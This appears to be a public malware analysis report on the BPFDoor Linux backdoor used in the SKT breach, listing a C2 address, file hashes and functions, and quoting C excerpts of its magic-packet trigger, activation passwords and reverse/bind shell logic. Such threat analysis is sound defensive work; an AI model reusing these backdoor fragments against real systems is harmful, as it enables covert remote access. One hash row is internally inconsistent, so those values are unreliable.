MAL-250608-01-01
Metadata | Information |
---|---|
Report ID | MAL-250608-01-01 |
Incident Date | 2022-06/15 - 2025-04/22 |
Report Date | 2025-06/08 |
Malware Name | BPFDoor |
Version | 01 |
Analyst | @therustymate |
Organization | Private |
Severity | Critical |
Status | Public/Draft |
Malware Type | RAT |
Detection Date | 2025-04/18 06:09 PM |
Affected Systems | Linux/HSS |
CVE | N/A |
Tags | Backdoor, ISP Hacking |
Incident Report
In the recent SKT cyberattack, threat actors gained initial access via a web shell from the external network, then penetrated into the internal network and deployed BPFdoor malware to compromise Linux-based HSS (Home Subscriber Server) systems. Approximately 9.8GB of sensitive data (ex. IMSI) was exfiltrated during the intrusion.
Incident Metadata
Metadata | Information |
---|---|
Command & Control (C2) Server | 165.232.174[.]130 |
Indicators of Compromise | 165.232.174[.]130 |
Infection Vector | WebShell |
Persistence Mechanisms | BPF-based direct kernel code execution |
Raw socket-based custom packet trigger mechanism | |
Payload Description | Backdoor |
Network Behavior | Custom Packet Communication |
File Names
File Name | Size |
---|---|
dbus-srv | 34KB |
inode262394 | 28KB |
dbus-srv | 34KB |
dbus-srv | 34KB |
dbus-srv | 34KB |
File_in_Inode_#1900667 | 28KB |
gm | 2,063KB |
rad | 22KB |
Hashes
File Name | Hash Type | Hash |
---|---|---|
hpasmmld | MD5 | a47d96ffe446a431a46a3ea3d1ab4d6e |
SHA1 | e6ccf59c2b7f6bd0f143cde356f60d2217120ad2 | |
SHA256 | c7f693f7f85b01a8c0e561bd369845f40bff423b0743c7aa0f4c323d9133b5d4 | |
smartadm | MD5 | 227fa46cf2a4517aa1870a011c79eb54 |
SHA1 | 466527d15744cdbb6e1d71129e1798acbe95764d | |
SHA256 | 3f6f108db37d18519f47c5e4182e5e33cc795564f286ae770aa03372133d15c4 | |
hald-addon-volume | MD5 | f4ae0f1204e25a17b2adbbab838097bd |
SHA1 | e3399ea3ebbbd47c588ae807c4bd429f6eef8deb | |
SHA256 | 95fd8a70c4b18a9a669fec6eb82dac0ba6a9236ac42a5ecde270330b66f51595 | |
dbus-srv-bin.txt | MD5 | 714165b06a462c9ed3d145bc56054566 |
SHA1 | 2ca9a29b139b7b2993cabf025b34ead957dee08b | |
SHA256 | aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4 | |
dbus-srv | MD5 | 3c54d788de1bf6bd2e7bc7af39270540 |
SHA1 | 67a3a1f8338262cd9c948c6e55a22e7d9070ca6c | |
SHA256 | 925ec4e617adc81d6fcee60876f6b878e0313a11f25526179716a90c3b743173 | |
inode262394 | MD5 | fbe4d008a79f09c2d46b0bcb1ba926b3 |
SHA1 | 0f12ab32bac3f4db543f702d58368f20b6f5d324 | |
SHA256 | 29564c19a15b06dd5be2a73d7543288f5b4e9e6668bbd5e48d3093fb6ddf1fdb | |
dbus-srv | MD5 | c2415a464ce17d54b01fc91805f68967 |
SHA1 | 4b6824ed764822dc422384cec89d45bbc682ef09 | |
SHA256 | be7d952d37812b7482c1d770433a499372fde7254981ce2e8e974a67f6a088b5 | |
dbus-srv | MD5 | aba893ffb1179b2a0530fe4f0daf94da |
SHA1 | 213dbb5862a19a423e5b10789a07ee163ab71969 | |
SHA256 | 027b1fed1b8213b86d8faebf51879ccc9b1afec7176e31354fbac695e8daf416 | |
dbus-srv | MD5 | e2c2f1a1fbd66b4973c0373200130676 |
SHA1 | 7e7234c5e94a92dd8f43632aca1ac60db7d96d56 | |
SHA256 | a2ea82b3f5be30916c4a00a7759aa6ec1ae6ddadc4d82b3481640d8f6a325d59 | |
File_in_Inode_#1900667 | MD5 | dc3361ce344917da20f1b8cb4ae0b31d |
SHA1 | c2717777ba2cb9a698889fca884eb7650144f32e | |
SHA256 | e04586672874685b019e9120fcd1509d68af6f9bc513e739575fc73edefd511d | |
gm | MD5 | a778d7ad5a23a177f2d348a0ae4099772c09671e |
SHA1 | c2717777ba2cb9a698889fca884eb7650144f32e | |
SHA256 | adfdd11d69f4e971c87ca5b2073682d90118c0b3a3a9f5fbbda872ab1fb335c6 | |
rad | MD5 | 0bcd4f14e7d8a3dc908b5c17183269a4 |
SHA1 | b631d5ed10d0b2c7d9c39f43402cccde7f3cb5ea | |
SHA256 | 7c39f3c3120e35b8ab89181f191f01e2556ca558475a2803cb1f02c05c830423 |
References
!!!WARNING!!! Some references may not be fully reliable.
KISA
Namu Wiki
korea.kr
Analysis
Function/Symbol Table
Function | Hex Location | Description |
---|---|---|
xchg() |
Unknown | Exchange a and b in memory |
rc4_init() |
Unknown | Initialize RC4 encryption algorithm |
rc4() |
Unknown | Perform RC4 encryption |
cwrite() |
Unknown | Cipher writer |
cread() |
Unknown | Cipher reader |
remove_pid() |
Unknown | Unlink (delete) pid_path file |
setup_time() |
Unknown | File timestamp manipulation (1225394236 sec) |
terminate() |
Unknown | Process termination event |
on_terminate() |
Unknown |
SIGTERM (Process termination) event handler |
init_signal() |
Unknown | Process termination event setup |
sig_child() |
Unknown | Child process termination event setup/handler |
ptym_open() |
Unknown | Spawn a pseudo terminal master (virtual terminal) |
ptys_open() |
Unknown | Spawn a pseudo terminal slave (PTYM input object) |
open_tty() |
Unknown | Create a teletypewriter (terminal interface) |
try_link() |
Unknown | Spawn a socket client object (reverse shell) |
mon() |
Unknown | Return "1" to the remote server (failed signal) |
set_proc_name() |
Unknown | Manipulate a process name through prctl syscall |
to_open() |
Unknown | Check the access permision for the shell |
logon() |
Unknown | Password verification and command handler |
packet_loop() |
Unknown | TCP, UDP, ICMP packet parser and handler |
b() |
Unknown | Spawn a socket bind server (random port) |
w() |
Unknown | Accept connections |
getshell() |
Unknown | Disable firewall and spawn a bind server |
shell() |
Unknown | Core command handler |
main() |
Unknown | Entry point with configs |
Magic Packet
The following code is the C structure of the magic packet used to activate BPFDoor.
struct magic_packet{
unsigned int flag;
in_addr_t ip;
unsigned short port;
char pass[14];
} __attribute__ ((packed));
Field | Field Type | Length | Description |
---|---|---|---|
flag | unsigned int |
4 bytes | Not Used |
ip | in_addr_t |
4 bytes | C2 Server IPv4 Address |
port | unsigned short |
2 bytes | C2 Server Port Number |
pass | char [14] |
14 bytes | Password/Command |
The following C code parses custom magic packets delivered over TCP, UDP, and ICMP protocols. This indicates that BPFDoor is capable of establishing remote connections through packets using TCP, UDP, and ICMP.
switch(ip->ip_p) {
case IPPROTO_TCP:
tcp = (struct sniff_tcp*)(buff+14+size_ip);
size_tcp = TH_OFF(tcp)*4;
mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
break;
case IPPROTO_UDP:
udp = (struct sniff_udp *)(ip+1);
mp = (struct magic_packet *)(udp+1);
break;
case IPPROTO_ICMP:
pbuff = (char *)(ip+1);
mp = (struct magic_packet *)(pbuff+8);
break;
default:
break;
}
Login Password
The login passwords received by the malware are as follows:
- justforfun
- socket
{0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
{0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
data = [0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00]
for i in data:
print(chr(i), end='')
>>> justforfun
data2 = [0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00]
for i in data2:
print(chr(i), end='')
>>> socket
If the transmitted value is "justforfun", the malware establishes a TCP reverse shell to connect back to the C2 server.
The function
try_link()
returns a TCP client socket object, which is stored in the variablescli
.This
scli
object is then passed as an argument to theshell()
function.
If the transmitted value is "socket", the malware sets up a bind shell server, listening for incoming connections.
The function
getshell()
calls another functionb()
, which returns a TCP listening socket (bind server).The resulting socket is stored in the variable
sockfd
, which is then passed as an argument to theshell()
function.
In summary, the command structure of this malware operates as follows:
-
justforfun
command → Spawns a reverse shell -
socket
command → Spawns a bind shell
cmp = logon(mp->pass); // Check the command
switch(cmp) {
case 1:
strcpy(sip, inet_ntoa(ip->ip_src));
getshell(sip, ntohs(tcp->th_dport));
break;
case 0:
scli = try_link(bip, mp->port);
if (scli > 0)
shell(scli, NULL, NULL);
break;
case 2:
mon(bip, mp->port);
break;
}
Port Range
When spawning a bind shell, the malware selects a random port within the range 42391 to 43390.
for (port = 42391; port < 43391; port++) { // 42391 - 43390
my_addr.sin_port = htons(port);
if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
continue;
}
if( listen(sock_fd,1) == 0 ) {
*p = port;
return sock_fd;
}
close(sock_fd);
}
return -1;
Top comments (0)